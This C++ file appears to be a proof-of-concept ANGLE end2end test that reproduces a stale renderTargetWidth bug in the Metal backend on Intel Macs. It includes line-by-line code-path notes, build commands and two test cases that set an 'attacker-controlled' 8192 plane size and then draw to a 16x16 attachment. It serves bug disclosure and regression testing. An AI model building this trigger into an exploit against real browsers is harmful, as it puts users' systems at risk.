// reference-poc-angle-test.cpp
//
// ANGLE end2end test demonstrating stale renderTargetWidth/Height in
// the Metal backend's cached MTLRenderPassDescriptor.
//
// PLATFORM REQUIREMENT: Intel-GPU macOS only.
//   - Metal backend is gated by `angle_enable_metal = is_apple`
//     (third_party/angle/gni/angle.gni:222) and is not compiled on Linux.
//   - The vulnerable PixelLocalStorageImageLoadStore::onBegin else-branch
//     (PixelLocalStorage.cpp:731-743) is only taken when
//     noRasterOrderGroupWithoutAttachmentZero == false. DisplayMtl.mm:920-922
//     sets that flag true ONLY for `rasterOrderGroupsSupported && isAMD()`.
//     On Intel Metal the flag stays at its Caps.h default of false.
//   - The vulnerable PLS implementation (ImageLoadStore) is selected at
//     DisplayMtl.mm:1111 for non-Apple-Silicon GPUs with
//     readWriteTextureTier != None. Intel Metal supports
//     MTLReadWriteTextureTier1.
//
// HOW TO USE:
//   Append the TEST_P body below into
//   third_party/angle/src/tests/gl_tests/PixelLocalStorageTest.cpp
//   (just before PLS_INSTANTIATE_RENDERING_TEST_ES3). Build and run
//   on an Intel Mac:
//
//     autoninja -C out/asan angle_end2end_tests
//     METAL_DEVICE_WRAPPER_TYPE=1 \
//       out/asan/angle_end2end_tests \
//       --gtest_filter='PixelLocalStorageTest.StaleRenderTargetWidth/ES3_Metal*'
//
//   With Metal API validation enabled (METAL_DEVICE_WRAPPER_TYPE=1), the
//   second draw should produce a Metal validation error of the form:
//
//     -[MTLDebugRenderCommandEncoder validateCommonDrawErrors:]: failed assertion
//     `renderTargetWidth (8192) must be <= the smallest color/depth/stencil
//      attachment width (16)'
//
//   Without validation the result is driver-defined (UB).
//
// =============================================================================

// --- two-FBO variant: stale ObjC descriptor (Bug A) -------------------------
//
// The single mCachedRenderPassDescObjC is reused across all FBOs on a context
// (allocated once in RenderCommandEncoder ctor, mtl_command_buffer.mm:1371).
// convertToMetalDesc (mtl_state_cache.mm:870-875) writes
// objCDesc.renderTargetWidth/Height ONLY when (defaultWidth|defaultHeight)!=0.
// There is no else branch resetting them to 0. So once a no-attachment PLS
// pass writes a large value, the next pass on a different FBO whose C++
// RenderPassDesc has defaultWidth==0 will leave the stale value in place.
TEST_P(PixelLocalStorageTest, StaleRenderTargetWidth)
{
    ANGLE_SKIP_TEST_IF(!EnsureGLExtensionEnabled("GL_ANGLE_shader_pixel_local_storage"));

    // This test only demonstrates the defect on the ImageLoadStore path with
    // noRasterOrderGroupWithoutAttachmentZero == false (Intel Metal).
    // On other configs the call at PixelLocalStorage.cpp:739 is never reached
    // and the test is benign.
    constexpr GLsizei kBig   = 8192;   // attacker-controlled PLS plane size
    constexpr GLsizei kSmall = 16;

    // Trivial PLS shader so beginPixelLocalStorageANGLE is valid and a draw
    // forces a Metal render-encoder restart.
    mProgram.compile(R"(
        layout(binding=0, r32ui) uniform highp upixelLocalANGLE plane0;
        void main() {
            pixelLocalStoreANGLE(plane0, uvec4(1u));
        })");
    ASSERT_GL_NO_ERROR();

    // ---- pass 1: latch a large renderTargetWidth into the cached ObjC desc ----
    GLFramebuffer fboA;
    glBindFramebuffer(GL_FRAMEBUFFER, fboA);

    // PLS plane texture: kBig × kBig. plsExtents (PixelLocalStorage.cpp:565)
    // comes from this texture's dimensions and is fully attacker-controlled.
    PLSTestTexture bigPlane(GL_R32UI, kBig, kBig);
    glFramebufferTexturePixelLocalStorageANGLE(0, bigPlane, 0, 0, GL_NONE);
    ASSERT_GL_NO_ERROR();

    GLenum loadops[]  = {GL_LOAD_OP_ZERO_ANGLE};
    GLenum storeops[] = {GL_STORE_OP_STORE_ANGLE};

    // beginPixelLocalStorageANGLE → PixelLocalStorageImageLoadStore::onBegin
    // → else branch at PixelLocalStorage.cpp:731 (noRasterOrderGroup... == false)
    // → context->framebufferParameteri(GL_FRAMEBUFFER_DEFAULT_WIDTH, kBig) at :739
    // This is a direct C++ method call on gl::Context — it bypasses the
    // ES3.1 entry-point gate, the MESA-extension gate, and the cmd-buffer
    // mesa_framebuffer_flip_y gate. mDefaultWidth = kBig.
    glBeginPixelLocalStorageANGLE(1, loadops);
    ASSERT_GL_NO_ERROR();

    // Draw with no color/depth/stencil attachments. fboA is COMPLETE because
    // Framebuffer.cpp:1598 accepts (!hasAttachments && defaultWidth!=0).
    // → FramebufferMtl::prepareRenderPass: numColorAttachments=0, depth=null,
    //   stencil=null → lines 1134-1139 fire → mRenderPassDesc.defaultWidth=kBig
    // → ContextMtl restart() → convertToMetalDesc: (kBig|kBig)!=0
    //   → mCachedRenderPassDescObjC.renderTargetWidth = kBig   <<< LATCHED >>>
    glViewport(0, 0, kBig, kBig);
    mProgram.drawBoxes({{FULLSCREEN}});
    ASSERT_GL_NO_ERROR();

    // endPixelLocalStorageANGLE → onEnd restores mDefaultWidth=0 on the
    // gl::FramebufferState. It does NOT touch the FramebufferMtl's
    // mRenderPassDesc.defaultWidth nor the cached ObjC descriptor.
    glEndPixelLocalStorageANGLE(1, storeops);
    ASSERT_GL_NO_ERROR();

    // ---- pass 2: render to a small attachment on the same context -------------
    GLFramebuffer fboB;
    glBindFramebuffer(GL_FRAMEBUFFER, fboB);

    GLTexture smallColor;
    glBindTexture(GL_TEXTURE_2D, smallColor);
    glTexStorage2D(GL_TEXTURE_2D, 1, GL_RGBA8, kSmall, kSmall);
    glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, smallColor, 0);
    ASSERT_EQ(glCheckFramebufferStatus(GL_FRAMEBUFFER), (GLenum)GL_FRAMEBUFFER_COMPLETE);

    glViewport(0, 0, kSmall, kSmall);

    // Draw. fboB's FramebufferMtl::mRenderPassDesc is freshly constructed
    // → defaultWidth = 0.
    // → prepareRenderPass: has a color attachment → 1134-1139 condition is
    //   FALSE → defaultWidth stays 0.
    // → convertToMetalDesc: (0|0)!=0 is FALSE → renderTargetWidth NOT written.
    //
    // mCachedRenderPassDescObjC.renderTargetWidth is still kBig from pass 1.
    // The encoder is started with:
    //   colorAttachments[0].texture = 16×16
    //   renderTargetWidth           = 8192   <<< STALE >>>
    //
    // Per Apple Metal docs: nonzero renderTargetWidth "must be set to a value
    // equal to or smaller than the smallest width across all attachments."
    // Violation is undefined behaviour. With METAL_DEVICE_WRAPPER_TYPE=1 this
    // triggers a validation-layer abort here.
    ANGLE_GL_PROGRAM(simpleProg, essl3_shaders::vs::Simple(), essl3_shaders::fs::Red());
    drawQuad(simpleProg, essl3_shaders::PositionAttrib(), 0.0f);

    // If we got here the driver clamped silently. Force a flush so the
    // command buffer is actually submitted before teardown.
    glFinish();
}

// --- single-FBO variant: stale C++ struct (Bug B) ---------------------------
//
// FrameBufferMtl::prepareRenderPass (FrameBufferMtl.mm:1071-1072) resets
// numColorAttachments and rasterSampleCount on every call but NEVER resets
// defaultWidth/Height. They are only WRITTEN at lines 1134-1139 when there
// are no attachments. So after the no-attachment PLS pass leaves
// mRenderPassDesc.defaultWidth = kBig, attaching a small texture to the SAME
// FBO and drawing again sees:
//   prepareRenderPass: has attachment → 1134-1139 skipped → defaultWidth STAYS kBig
//   convertToMetalDesc: (kBig|kBig)!=0 TRUE → ACTIVELY WRITES renderTargetWidth=kBig
//                                              alongside the 16×16 attachment.
// This is the stronger of the two variants: the bad value is freshly
// written, not merely left stale.
TEST_P(PixelLocalStorageTest, StaleRenderTargetWidth_SingleFBO)
{
    ANGLE_SKIP_TEST_IF(!EnsureGLExtensionEnabled("GL_ANGLE_shader_pixel_local_storage"));

    constexpr GLsizei kBig   = 8192;
    constexpr GLsizei kSmall = 16;

    mProgram.compile(R"(
        layout(binding=0, r32ui) uniform highp upixelLocalANGLE plane0;
        void main() {
            pixelLocalStoreANGLE(plane0, uvec4(1u));
        })");
    ASSERT_GL_NO_ERROR();

    GLFramebuffer fbo;
    glBindFramebuffer(GL_FRAMEBUFFER, fbo);

    PLSTestTexture bigPlane(GL_R32UI, kBig, kBig);
    glFramebufferTexturePixelLocalStorageANGLE(0, bigPlane, 0, 0, GL_NONE);

    GLenum loadops[]  = {GL_LOAD_OP_ZERO_ANGLE};
    GLenum storeops[] = {GL_STORE_OP_STORE_ANGLE};

    glBeginPixelLocalStorageANGLE(1, loadops);
    glViewport(0, 0, kBig, kBig);
    mProgram.drawBoxes({{FULLSCREEN}});      // mRenderPassDesc.defaultWidth = kBig
    glEndPixelLocalStorageANGLE(1, storeops);
    ASSERT_GL_NO_ERROR();

    // Detach PLS plane, attach a small color texture to the SAME fbo.
    glFramebufferTexturePixelLocalStorageANGLE(0, 0, 0, 0, GL_NONE);
    GLTexture smallColor;
    glBindTexture(GL_TEXTURE_2D, smallColor);
    glTexStorage2D(GL_TEXTURE_2D, 1, GL_RGBA8, kSmall, kSmall);
    glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, smallColor, 0);
    ASSERT_EQ(glCheckFramebufferStatus(GL_FRAMEBUFFER), (GLenum)GL_FRAMEBUFFER_COMPLETE);

    glViewport(0, 0, kSmall, kSmall);

    // FramebufferMtl::mRenderPassDesc is the SAME persistent struct.
    // prepareRenderPass: has attachment → defaultWidth NOT reset → stays kBig.
    // convertToMetalDesc: (kBig|kBig)!=0 → writes renderTargetWidth=kBig
    // alongside the 16×16 attachment.
    ANGLE_GL_PROGRAM(simpleProg, essl3_shaders::vs::Simple(), essl3_shaders::fs::Red());
    drawQuad(simpleProg, essl3_shaders::PositionAttrib(), 0.0f);
    glFinish();
}
